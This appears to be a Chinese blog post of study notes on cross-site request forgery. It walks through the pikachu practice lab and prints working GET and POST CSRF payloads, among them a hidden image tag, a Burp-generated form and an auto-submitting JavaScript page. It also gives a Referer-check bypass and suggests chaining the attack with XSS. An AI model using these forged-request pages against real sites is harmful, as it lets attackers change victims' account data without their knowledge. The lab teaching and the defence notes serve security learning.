CSRF漏洞学习

Posted XINYU2428

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF漏洞学习相关的知识,希望对你有一定的参考价值。

漏洞介绍

CSRF(Cross-site request forgery),也称XSRF,跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击。


漏洞原理

  1. 受害者登录网站A,并在自己的浏览器中保留了对应的Cookie.

  2. 网站A未退出登录期间, 攻击者引诱受害者访问了其伪造的请求(这个请求一般是一个链接).

  3. 攻击者的恶意链接会通过代码自动向网站A发送一个带有网站A的Cookie伪造请求.

  4. 网站A接收到请求后, 对请求进行身份验证, 并确认是受害者的Cookie凭证,误以为是受害者自己发送的请求.

  5. 到此, 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让网站A执行了自己定义的伪造请求.



漏洞利用环境

  1. 受害者登陆了存在CSRF漏洞的网站A, 并在本地生成了对应的Cookie.

  2. 在不退出登录网站A的期间, 受害者无意中访问了由攻击者构造的恶意请求链接.

  3. 对于第二条, 直接关闭浏览器并不等同于退出登录了, 在你下一次打开浏览器时, 可能Cookie还是有效的.



正常的攻击流程

  • 首先我们需要确定目标站点的一些重要的功能点存在CSRF漏洞.

  • 比如修改密码, 修改个人信息, 添加管理员账户, 转账, 删除账户等功能.

  • 这里我们需要理解, 如果目标站点都没有登录功能, 那么CSRF漏洞是没有意义的.


下面以pikachu靶场为例

GET类型

这是一个登陆后, 修改个人信息的功能, 这里既没有referfer验证也没有tonken验证


开启burp抓到对应的请求包并放入Repeater模块, 然后将请求包中的Referer删除重放

CSRF漏洞学习


可以看到修改信息成功了

CSRF漏洞学习


CSRF漏洞学习


到这里我们可以基本可以判断其存在CSRF漏洞


接下来我们构造一个恶意请求页面(当然也可以直接将这个GET请求链接发送给受害者).

比如构造一个404页面放在自己的服务器上, 并以图片链接的形式发送修改信息的请求且将图片隐藏掉.

<h1>404(not found)<h1><img src="http://192.168.238.141/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=crsf ceshi&phonenum=18626545453&add=cref ceshi&email=vince%40pikachu.com&submit=submit" style="display:none;" />


得到一个访问链接, 并引诱受害者访问这个链接

http://www.x.com/csrf.html

站在受害者的角度, 他只看到了404页面, 但是实际上受害者的浏览器已经自动发送的另外的攻击请求

CSRF漏洞学习


返回页面看下个人信息, 发现已经被自动修改了

CSRF漏洞学习



POST类型

攻击流程是一样的, 只需要将恶意请求页面代码换成表单提交的方式

方法如下:

使用burp抓到请求包

CSRF漏洞学习


右键生成 CSRF POC

CSRF漏洞学习


复制POC页面代码

CSRF漏洞学习


将其保存为一个HTML文件, 并放在自己的服务器上

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.238.141/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="112233" /> <input type="hidden" name="phonenum" value="18626545453" /> <input type="hidden" name="add" value="445566" /> <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="Submit request" /> </form> </body></html>


诱导受害者访问该链接, 打开后可以看到一个按钮

CSRF漏洞学习


当受害者点击后会触发攻击请求, 并自动跳转到个人信息的页面

CSRF漏洞学习


很显然上面的伪装页面很容易被人发现, 并且很少有人去点击一个陌生页面上的按钮

所以我们需要对页面代码做一些处理, 利用JS完成自动发送伪造请求

CSRF漏洞学习


代码如下

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://192.168.238.141/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="111" /> <input type="hidden" name="phonenum" value="222" /> <input type="hidden" name="add" value="333" /> <input type="hidden" name="email" value="777" /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="" id="csrf" /> </form> </body> <script> window.onload = function(){ document.getElementById('csrf').click(); location.href='http://www.baidu.com'; }</script></html>


访问伪造链接, 浏览器自动跳到百度页面(也可以跳转到其他的伪装页面), 期间已经发送了伪造请求

CSRF漏洞学习


信息修改成功

CSRF漏洞学习



另一种自动提交表单的方式

<script>document.forms[0].submit();</script>


这种方式有一个坑, 在这里并不能使用, 原因见下图



pikachu CSRF第三关验证了token, 暂时没有好的方法绕过它, 所以它暂时是安全的.


CSRF绕过

将页面名称改为与host相同, 即127.0.0.1.html

放在服务器上, 当页面被访问时, Referer: http://vpsIP/127.0.0.1.html

此时虽然不是127.0.0.1发起的请求, 但服务器却会误认为是这样, 即绕过检测

这里也可以建一个名字为 "127.0.0.1" 的目录, 再讲攻击页面放入其中.


referer验证只能防御来自站外的CSRF,却无法防御来自站内的CSRF.(比如攻击者可以在网站上传html文件时)


相关文章: CSRF花式绕过Referer技巧

https://www.ohlinge.cn/web/csrf_referer.html


CSRF防御

  1. 随机Token值验证请求是否来自它本身应在的页面, 相关文章: CSRF防御机制的不足与反思

    https://www.leavesongs.com/PENETRATION/think-about-cookie-form-csrf-protected.html


总结

  • Cookie身份验证机制虽然能保证请求是来自于受害者的浏览器, 但却无法保证该请求是受害者想要发送的, 这就是漏洞产生的原因.

  • 如果我们能验证某个重要的请求是否来自它本身应在的页面, 那么就可以防御住CSRF漏洞, 随机token值可以解决这个问题.

  • 直接将链接发给受害者, 然后问他, 我叫你一声你敢答应吗.

  • 上传html文件到其网站服务器中(如果允许的话, 比如kindeditor编辑器漏洞), 等待管理员查看可疑文件时触发.

  • 与XSS结合实现, 将CSRF伪造链接存储在网站本身的页面, 等待他人来浏览触发. 

  • CSRF蠕虫攻击, 相关文章: 经典的XSS+CSRF结合造成的蠕虫病毒式推广

    https://bbs.ichunqiu.com/thread-21477-1-1.html

  • 当然, 站在测试者的角度, 我们只需要验证网站存在这个漏洞即可.



说明: 

文章即为学习笔记, 不保证内容完全准确, 上文中的链接均为参考文章可进一步深入学习, 文中如有错误还请多指出, 共同进步.

以上是关于CSRF漏洞学习的主要内容,如果未能解决你的问题,请参考以下文章

DVWA学习日记--CSRF超详细漏洞利用讲解

实战 | 从零学习CSRF漏洞并配合实战挖掘CSRF漏洞

CSRF漏洞学习

安全牛学习笔记CSRF跨站请求伪造攻击漏洞的原理及解决办法

点链接就能盗号?揭秘CSRF漏洞

44. CSRF 攻击与防御